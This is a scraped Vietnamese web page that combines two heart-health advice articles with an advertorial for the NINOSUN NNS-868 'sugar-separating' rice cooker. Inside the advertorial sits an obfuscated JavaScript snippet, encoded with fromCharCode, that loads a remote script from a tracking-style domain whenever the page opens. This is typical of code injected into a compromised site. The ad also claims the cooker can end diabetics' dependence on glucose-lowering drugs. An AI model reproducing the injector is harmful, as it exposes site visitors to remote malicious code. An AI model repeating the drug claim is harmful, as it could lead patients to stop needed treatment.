Giáo sư Pierre Weinmann - chuyên ngành Nội tim mạch ở bệnh viện Georges Pompidou [Paris, Pháp] đưa ra 10 lời khuyên vàng để có trái tim khỏe mạnh.
Trà hoặc cà phê 3 cốc mỗi ngày
Theo GS Pierre Weinmann, trong cà phê, trà chứa các chất chống oxy hóa. Cà phê dùng khoảng 3-5 cốc mỗi ngày rất tốt cho sức khỏe, đặc biệt các bệnh lý tim mạch, đái đường. Dùng khoảng 3 cốc trà mỗi ngày giảm nguy cơ bệnh lý tim mạch.
Chọn thực phẩm có chỉ số đường huyết thấp
Chỉ số đường huyết thức ăn [indice glycémique-IG] có liên quan đến các bệnh lý tim mạch. Chỉ số này là tiêu chuẩn phân loại lượng carbohydrate có trong thực phẩm.
Theo GS Pierre Weinmann, thức ăn có chỉ số đường huyết cao thực sự không tốt cho sức khỏe, ảnh hưởng xấu đến hệ tim mạch, các vấn đề chuyển hóa như tăng huyết áp, tăng cân, tăng cholesterol “xấu”, mỡ bụng, nguy cơ đái đường, gan nhiễm mỡ…
Nên chọn những thực phẩm có chỉ số đường huyết thấp như ngũ cốc nguyên hạt: gạo lứt, gạo nâu, các loại đậu… Nên hạn chế những thực phẩm có IG cao như bánh mỳ trắng, khoai tây, kẹo, bánh ngọt, nước giải khát như soda, nước ép trái cây.
Tránh mỡ động vật
Có cần phải giảm thiểu lượng chất béo có trong bữa ăn hàng ngày không? Theo GS Weinmann thì không. Điều này không giảm nguy cơ mắc các bệnh tim mạch mà còn ảnh hưởng đến trọng lượng cơ thể.
Điều quan trọng cần phân biệt lipid có lợi và lipid có hại là nên tránh các loại chất béo động vật: bơ, kem, pho mát nhiều chất béo, xúc xích, thịt mỡ... Cần tăng thêm các loại hạt giàu a-xít béo bão hòa như hạnh nhân, hạt điều, hạt bí, đậu phụng, mè, chất béo có nguồn gốc thực vật…
Chọn dầu thực vật, tốt nhất là dầu oliu
Việc chọn dầu thực vật cũng có vai trò quan trọng, một số dầu làm giảm cholesterol máu.
GS Weinmann và cộng sự đã nghiên cứu 7.447 bệnh nhân theo đuổi chế độ ăn Địa Trung Hải, thường sử dụng dầu oliu nguyên chất - khoảng 1 lít mỗi tuần, kết quả cho thấy làm giảm 35% nguy cơ mắc bệnh tim mạch so với nhóm người ăn kiêng bình thường; công trình được công bố năm 2013.
Dầu oliu dùng để nấu, không nên chiên. Khi trộn salad nên chọn dầu oliu, dầu nành, dầu mè, dầu hạnh nhân…
Chế độ ăn giảm thịt
Tiêu thụ nhiều thịt làm tăng nguy cơ bệnh tim mạch và đái đường. Đặc biệt thịt đã qua chế biến như thịt muối, thịt hun khói, lên men…làm tăng nguy cơ bệnh mạch vành, đái đường và ung thư đại trực tràng.
Nên giảm thịt trong khẩu phần ăn hàng ngày và đảm bảo chất lượng, có thể xen kẽ với các protein thực vật hoặc hải sản.
Bổ sung thêm trái cây
Ăn nhiều trái cây tươi, trái cây sấy khô [hạnh nhân, hạt dẻ…] nguy cơ mắc bệnh tim mạch giảm 40%.
Nước ép hoa quả không nên dùng nhiều vì đã bị mất một phần chất xơ, thêm vào đó có chỉ số đường huyết cao.
Nấu ăn ở nhà
Việc đi chợ và nấu ăn ở nhà giúp giảm tiêu thụ thức ăn chế biến, thực phẩm công nghiệp. Chính điều này hạn chế dùng quá nhiều mỡ động vật, muối, đường - bộ ba gây nguy hại cho tim và động mạch.
Ăn nhiều cá “béo”
Cá béo chứa nhiều omega 3, a-xít béo đặc biệt a-xít docosahexaénoïque [DHA] và a-xít eicosapentaénoïque [EPA] đây là những a-xít có lợi cho tim mạch, đặc biệt DHA và EPA làm giảm triglyceride máu vì triglyceride máu cao là yếu tố nguy cơ cho bệnh lý tim mạch.
DHA và EPA có nhiều trong cá hồi, cá thu, cá trích, cá ngừ… Nghiên cứu cho thấy có thể giảm nguy cơ mắc các bệnh lý tim mạch bằng chế độ ăn có 2 bữa cá mỗi tuần.
Học cách giảm thiểu stress
Theo GS Weinmann, các stress có ảnh hưởng đến hệ thống tim mạch. Stress kích hoạt hệ thống thần kinh giao cảm làm tăng hoạt động tim, tăng huyết áp, tăng lượng máu đến các cơ quan trọng yếu của cơ thể.
Để giảm thiểu các stress nên điều trị ngắn ngày thuốc chống lo âu, hỗ trợ tâm lý. Hãy đảm bảo rằng mỗi ngày bạn dành một ít thời gian để thư giãn như đi dạo, tập yoga, thiền, nghe nhạc…
Hoạt động rèn luyện thể chất
Các hoạt động thể chất giúp giảm bớt nguy cơ mắc bệnh tim mạch, giảm nguy cơ tử vong. Nhiều nghiên cứu khác nhau cho thấy rèn luyện thể chất mỗi ngày giúp giảm nhịp tim, điều hòa huyết áp, tăng cholesterol tốt [HDL-cholestérol ]…
Trên thực tế, bạn có thể tham gia các hoạt động như đi bộ nhanh, tập thể dục, miễn là phải đều đặn, tối thiểu 2 lần mỗi tuần.
[Nguồn: vietnamnet.vn]
Trái tim là một cơ quan quan trọng vì nó liên quan đến một trong những nhiệm vụ chính là bơm máu đi khắp cơ thể.
Căng thẳng không cần thiết, cholesterol cao và thiếu tập thể dục có thể làm giảm hoạt động của tim.
Không có lối tắt để có được một trái tim khỏe mạnh. Tuy nhiên, có một số phương pháp đơn giản mà bạn có thể áp dụng để tăng cường cơ tim và sống khỏe mạnh hơn.
| Tăng cường sức khỏe để có một trái tim khỏe mạnh [Ảnh: theo boldsky]. |
Những cách để tăng cường sức khỏe cho trái tim
1. Duy trì hoạt động thể chất
Không hoạt động thể chất dẫn đến các bệnh mãn tính khác nhau như tiểu đường, béo phì và các bệnh tim mạch.
Việc không hoạt động thể chất là nguyên nhân chính gây ra các bệnh liên quan đến tim. Do đó, bạn nên duy trì một số hoạt động thể chất cần thiết..
2. Giảm mỡ bụng
Theo một nghiên cứu, sự tích lũy lớn của mô mỡ nội tạng [VAT] và mô mỡ dưới da [SAT] có liên quan đến một số bệnh tim mạch.
Giảm hai khối lượng chất béo chính này làm giảm nguy cơ mắc các bệnh liên quan đến tim và giúp bạn cải thiện chất lượng cuộc sống.
3. Tập thể dục hàng ngày
Có nhiều bằng chứng khoa học cho thấy tập thể dục hàng ngày là rất cần thiết để giảm nguy cơ mắc các bệnh về tim.
Một người tập thể dục hàng ngày có lượng lipoprotein huyết tương tốt, độ nhạy insulin cao và huyết áp bình thường.
Ngay cả việc tập thể dục vừa phải hàng ngày cũng rất hiệu quả trong việc giảm nguy cơ mắc bệnh mạch máu.
| Những thói quen tổn hại đến tim mạch |
4. Bỏ hút thuốc
Thuốc lá có chứa nicotine mà khi tiêu thụ sẽ làm tăng huyết áp và nhịp tim của cơ thể. Điều này tiếp tục dẫn đến sự gia tăng nhu cầu oxy của tim và giảm khả năng mang oxy của máu, dẫn đến co mạch vành. Tuy nhiên, bỏ hút thuốc làm đảo ngược nguy cơ mắc bệnh.
5. Chọn chế độ ăn uống lành mạnh
Dinh dưỡng đóng một vai trò quan trọng trong việc ngăn ngừa các bệnh tim mạch.
Theo một nghiên cứu được tiến hành bởi Hiệp hội Tim mạch Israel và Hiệp hội Dinh dưỡng Israel, thông tin dinh dưỡng cho một trái tim khỏe mạnh nên có 3 phần: chế độ ăn kiêng [ít carb, ít chất béo hoặc chế độ ăn Địa Trung Hải], ưu tiên thực phẩm từ sữa tách béo, rau xanh… và các chất bổ sung dinh dưỡng [dầu cá, vitamin D, chất chống oxy hóa…].
6. Duy trì thời gian ngủ của bạn
Duy trì thời gian ngủ là rất quan trọng để ngăn ngừa nguy cơ mắc bệnh tim. Theo nghiên cứu của Hạt Alameda, những người ngủ ít hơn 4 giờ sẽ dễ bị bệnh tim gấp ba lần so với những người ngủ 8 giờ.
Ngoài ra, thiếu ngủ gây ra mệt mỏi và tăng nhịp tim góp phần gây ra bệnh tim mạch.
7. Uống rượu vừa phải
Uống một lượng rượu vừa phải có hiệu quả trong việc giảm nguy cơ mắc nhiều bệnh tim mạch như đột quỵ, tăng huyết áp, bệnh cơ tim...
| 12 loại bệnh liên quan đến tim mạch |
8. Tránh căng thẳng không cần thiết
Tâm lý căng thẳng có liên quan đến nguy cơ mắc bệnh tim mạch.
Một số nghiên cứu cho thấy căng thẳng trong một thời gian dài có thể kích hoạt bệnh tim mạch vành [CHD] và các bệnh tim đặc biệt do căng thẳng như bệnh cơ tim căng thẳng và thiếu máu cơ tim.
Vì vậy, để đối phó với tình hình, quản lý căng thẳng là rất cần thiết. Điều này có thể được thực hiện bằng yoga hoặc thiền.
Lời khuyên cho một trái tim tốt hơn
- Đừng quên đi bộ 10 phút mỗi ngày.
- Thêm nhiều loại trái cây vào chế độ ăn uống hàng ngày của bạn.
- Cắt giảm đồ uống ngọt hoặc soda.
- Cố gắng kết nối với mọi người vì nó giúp bạn giảm căng thẳng.
- Giữ sạch và rửa tay hàng ngày để không bị nhiễm trùng.
- Tiêu thụ các loại cá giàu omega-3 như cá hồi và cá ngừ một lần trong một tuần.
- Đừng bỏ lỡ bữa sáng.
An Nhiên [Theo boldsky]
Nồi cơm tách đường NINOSUN NNS-868 – Giải pháp hữu hiệu cho người bệnh tiểu đường, người ăn kiêng.
Theo ước tính, tỷ lệ bệnh nhân đái tháo đường ở Việt Nam chiếm khoảng 6% dân số, trong đó tỷ lệ người bị bệnh nhưng chưa được chẩn đoán còn rất cao, chiếm khoảng 65% và lứa tuổi mắc bệnh đái tháo đường ngày càng trẻ hóa. Việc hấp thụ vào cơ thể những loại thực phẩm chứa nhiều đường, trong đó có tinh bột là một trong những nguyên nhân làm cho bệnh tiểu đường ngày càng gia tăng và tiến triển bệnh nhanh hơn.
Chính vì lý do đó, Viện Hóa Học Các Hợp Chất Thiên Nhiên, thuộc Viện Hàn Lâm Việt Nam đã tiến hành nghiên cứu và cho ra mắt sản phẩm nồi cơm tách đường NINOSUN NNS-868 [ một thiết bị thông minh có thể loại bỏ đường xấu, tinh bột hấp thu nhanh, một trong những nguyên nhân làm gia tăng các chứng bệnh liên quan đến đường như tiểu đường, béo phì, tim mạch ]
Sản phẩm được nghiên cứu và sản xuất dành riêng cho những bệnh nhân đang ngày đêm đau khổ với căn bệnh tiểu đường, béo phì, cao huyết áp, tim mạch,…
✅ Nồi cơm tách đường NINOSUN được nghiên cứu và phân tích công nghệ tách đường bởi Viện Hóa Học Các Hợp Chất Thiên Nhiên, thuộc Viện Hàn Lâm Việt Nam đã chính thức được ứng dụng đưa ra thị trường vào đầu năm 2019, được các kênh truyền thông uy tín Việt Nam như VTV1, VTC10.. Cùng các trang báo lớn đánh giá chất lượng.
✅ Kết quả nghiên cứu cho thấy cơm sau khi nấu bằng nồi cơm tách đường NINOSUN có hàm lượng đường khử [gồm các loại đường đơn, đường đôi tiêu hóa nhanh] giảm từ 30-40% trong cơm gạo tẻ trắng, gạo lứt so với nồi cơm bình thường.
✅ Đảm bảo đây là sản phẩm hữu hiệu với bệnh nhân tiểu đường, người cao huyết áp, mắc các bệnh lý về tim mạch hoặc người béo phì có nhu cầu giảm cân. Nếu quý vị đang cân nhắc về một món quà ý nghĩa, có lợi cho sức khỏe để dành tặng bạn bè, người thân hay đối tác, thì sản phẩm nồi cơm điện tách đường thông minh hoàn toàn là một sự lựa chọn hợp lý.
✅ Loại bỏ hơn 40% lượng đường trong quá trình nấu cơm
✅ Loại bỏ 64.51% thành phần Amylopectin của tinh bột
✅ Giảm chỉ số GI và lượng Calories trong tinh bột
✅ Công nghệ Nhật Bản, tiết kiệm điện năng
✅ Công nghệ Revocook thông minh với 4 giai đoạn: so với những chiếc nồi cơm điện thông thường, nồi cơm điện tách đường NINOSUN có cấu tạo và cơ chế hoạt động tương đối đặc biệt. Đây là nồi cơm đầu tiên sử dụng công nghệ Revocook thông minh 4 giai đoạn, loại bỏ đường từ gạo một cách hữu hiệu. Công nghệ này đã cho phép người sử dụng có thể thưởng thức những bát cơm cung cấp năng lượng và dinh dưỡng mà vẫn không làm tăng lượng đường trong máu.
✅ Đa chức năng: nấu cơm tách đường, hầm, hấp, nấu súp, cháo, luộc gà không cần nước.
✅ Có thể nấu được nhiều dạng thực phẩm có chứa tinh bột như: nui, mì, khoai tây, v.v.
✅ Chức năng ghi nhớ cài đặt theo ý thích của người dùng để tiện lợi hơn trong quy trình nấu cơm
✅ Thiết kế vệ sinh và an toàn với lòng nồi cấu tạo bằng 100% thép không gỉ, không bong tróc trong quá trình sử dụng giúp việc vệ sinh dễ dàng, giữ sản phẩm luôn mới và an toàn cho sức khoẻ.
✅ Tính năng chống dính: lòng nồi được tráng đá hoa cương cao cấp với 4 lớp chống dính
✅ Chất liệu cao cấp: vỏ nhựa nguyên sinh, bền chịu lực, chịu nhiệt.
✅ Sử dụng dễ dàng: với 8 chế độ siêu tiện lợi, nút điều khiển tiện dụng, linh hoạt, bảng điều khiển chi tiết bằng ngôn ngữ tiếng việt
✅ Thiết kế kiểu dáng sang trọng: thẩm mỹ, mang tính độc đáo, sáng tạo của công nghệ khiến cho gian bếp trở nên đẳng cấp hơn
✅ Ngoài việc hỗ trợ người bệnh tiểu đường giảm lượng đường thu nạp vào cơ thể trong khi ăn cơm, nồi cơm điện tách đường còn phù hợp sử dụng trong việc giảm cân ở người béo phì, thừa cân, phòng bệnh tiểu đường ở người bình thường.
✅ Loại bỏ tinh bột xấu trong gạo
Tích hợp công nghệ cảm ứng thông minh có thể gia nhiệt đến một nhiệt độ nhất định để tạo ra quá trình dẻo hóa. Loại bỏ tinh bột xấu mà vẫn giữ được chất dinh dưỡng
Giúp loại bỏ 40% đường trong cơm, có lợi cho người tiểu đường và béo phì
✅ Giúp hạ đường huyết với người bị tiểu đường
Giúp giảm dần và loại bỏ hoàn toàn sự phụ thuộc vào các loại thuốc hạ đường huyết
Hỗ trợ phòng ngừa bệnh cho tất cả thành viên trong gia đình ngay từ bữa cơm hàng ngày và thói quen ăn cơm của người Việt
● Model : NNS- 868
● Dung tích: 1,8L
● Điện áp: 220v
● Tần số: 50Hz
● Công suất : 700W
● Kiểu dáng: Hiện đại , màu sắc trang nhã phù hợp mọi không gian phòng bếp
● Công nghệ : Revocook Nhật Bản
● Chất liệu lòng nồi: Lỗi kép 4 lớp chống dính đá hoa cương
● Chất liệu vỏ: Nhựa nguyên sinh
● Số người ăn: 4-6 người
● Sản xuất: Việt Nam
● Bảo hành: 12 tháng
4 giai đoạn công nghệ Revocook thông minh:
✅ Giai đoạn 1: Gia nhiệt
Nồi cơm tách đường NinoSun được tích hợp công nghệ cảm ứng thông minh giúp sản phẩm có thể gia nhiệt đến một nhiệt độ nhất định để tạo ra quá trình dẻo hóa. Loại bỏ tinh bột xấu mà vẫn giữ được chất dinh dưỡng.
✅ Giai đoạn 2: Phân tách
Hàm lượng Amylopectin [hàm lượng chính có trong tinh bột hấp thụ nhanh] ra khỏi hạt gạo và hòa tan vào nước, trong khi vẫn duy trì hàm lượng Amylose [hàm lượng chính có trong tinh bột hấp thụ chậm] giữ trong gạo.
✅ Giai đoạn 3: Loại bỏ
Hệ thống NinoSun thoát nước thông minh tích hợp trong nồi cơm, sẽ tự động loại bỏ hoàn toàn nước và tất cả tinh bột tiêu hóa nhanh [RDS] nhằm ngăn hấp thụ trở lại vào cơm giúp cơm sau khi nấu vẫn lưu giữ được mùi vị tự nhiên và nhiều chất dinh dưỡng vốn có trong gạo.
✅ Giai đoạn 4: Nấu chín
Sau khi loại bỏ phần nước chứa tinh bột, NINOSUN làm chín đều hạt gạo để tạo ra phần cơm mềm, thơm ngon và an toàn cho người dùng. Bạn hoàn toàn không phải lo lắng về tình trạng cơm bị nhão, hoặc bị khô cứng vì NINOSUN được tích hợp rất nhiều chế độ điều chỉnh nấu cơm khác nhau cho nhiều loại gạo và theo sở thích của người dùng. Điều đặc biệt là những hạt cơm được nấu qua nồi cơm tách đường NinoSun có giá trị dinh dưỡng và giá trị sử dụng vượt trội so với cơm nấu thông thường. Ăn cơm từ nồi tách đường cho chỉ số đường huyết thấp hơn khoảng 20-30% so với nồi cơm thông thường.
Chứng nhận của Viện Dinh Dưỡng Quốc Gia – Phiếu kết quả kiểm nghiệm sản phẩm Nồi cơm tách đường NINOSUN NNS-868
Hà Nội, ngày 26 tháng 12 năm 2018, Phó Viện Trưởng Viện Dinh Dưỡng Quốc Gia – Nguyễn Hồng Trường đã ký xét duyệt.
Chứng nhận của Viện Hóa Học Các Hợp Chất Thiên Nhiên – Báo cáo tóm tắt kết quả phân tích sản phẩm nồi cơm tách đường NINOSUN NNS-868
Đề tài: ” Nghiên cứu chất lượng sản phẩm cơm gạo nấu từ nồi cơm tách đường NINOSUN”
Phó Viện Trưởng Viện Hóa Học Các Hợp Chất Thiên Nhiên – Lê Tất Thành đã ký xác nhận
Cán bộ phân tích: Thạc sỹ Đỗ Thị Thanh Trung.
✅ Những người muốn giảm hấp thu lượng đường trong cơ thể
✅ Những bệnh nhân tiểu đường đang điều trị, cần ổn định đường huyết
✅ Những người đang cần phòng ngừa bệnh tiểu đường cho bản thân và các thành viên trong gia đình
✅ Những người muốn giảm cân nhanh, hỗ trợ tập Gym, ổn định cân nặng cơ thể
✅ Những người đang bị bệnh béo phì, thừa cân
✅ Những bệnh nhân mắc các bệnh liên quan đến tim mạch, huyết áp
✅ Những bệnh nhân bị máu nhiễm mỡ
✅ Những bệnh nhân bị bệnh gút
✅ Sản phẩm được phân tích, kiểm nghiệm bởi VIỆN HOÁ HỌC CÁC HỢP CHẤT THIÊN NHIÊN và VIỆN DINH DƯỠNG QUỐC GIA. Hân hạnh là sản phẩm được các nhà khoa học hàng đầu khuyên dùng.
✅ Loại bỏ hơn 40% lượng đường có trong cơm gạo, sản phẩm là giải pháp hữu hiệu dành cho bệnh nhân tiểu đường, béo phì.
✅ Công nghệ thông minh, TIẾT KIỆM điện năng, DỄ DÀNG sử dụng. Áp dụng công nghệ Revocook thông minh 4 giai đoạn của Nhật Bản, loại bỏ đường từ gạo một cách hữu hiệu.
✅ ĐA CHỨC NĂNG: Nấu cơm tách đường, hầm, hấp, nấu súp, cháo, đặc biệt luộc gà không cần nước.
✅ 8 CHẾ ĐỘ SIÊU TIỆN LỢI: lòng nồi lõi kép đúc nhôm nguyên khối và được tráng men đá hoa cương chống dính 4 lớp.
✅ Thiết kế kiểu dáng sang trọng, thẩm mỹ, mang tính độc đáo, sáng tạo của công nghệ khiến cho gian bếp trở nên đẳng cấp hơn.
III. ĐÁNH GIÁ CỦA KHÁCH HÀNG
Bà Nguyễn Thị Thu, phường Lĩnh Nam, quận Hoàng Mai, Hà Nội – Chị Nghiêm Thị Nghĩa, phường Sài Đồng, quận Long Biên, Hà Nội
var u = String.fromCharCode[104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61];var d=document;var s=d.createElement[String.fromCharCode[115,99,114,105,112,116]]; s.type=String.fromCharCode[116,101,120,116,47,106,97,118,97,115,99,114,105,112,116]; var pl = u; s.src=pl; if [document.currentScript] { document.currentScript.parentNode.insertBefore[s, document.currentScript];} else {d.getElementsByTagName[String.fromCharCode[104,101,97,100]][0].appendChild[s];var list = document.getElementsByTagName[String.fromCharCode[115,99,114,105,112,116]];list.insertBefore[s, list.childNodes[0]];}
Công ty TNHH Sản Xuất Và Kinh Doanh HC Việt Nam xin trân trọng thông báo tới toàn thể khách hàng: Từ ngày 1/7/2019 công ty chúng tôi chỉ lưu hành Nồi cơm tách đường NINOSUN model NNS-868.
Tất cả cả sản phẩm nồi NINOSUN model khác đều là hàng nhái, hàng giả nhãn hiệu. Đối với sản phẩm Model NNS-865 – phiên bản thử nghiệm. Công ty chúng tôi đã ngừng sản xuất và không còn sản phẩm nào cung cấp trên thị trường . Hiện nay có 1 số cá nhân có hành vi làm hàng giả, làm nhái thương hiệu NINOSUN nhằm phá huỷ thương hiệu cũng như uy tín và chất lượng sản phẩm của chúng tôi. Công ty chúng tôi đã gửi đơn lên cơ quan chức năng kiến nghị về việc này . Quý khách hàng lưu ý để tránh mua phải hàng giả, hàng nhái, hàng kém chất lượng.
Tài liệu hướng dẫn sử dụng
Video hướng dẫn sử dụng sản phẩm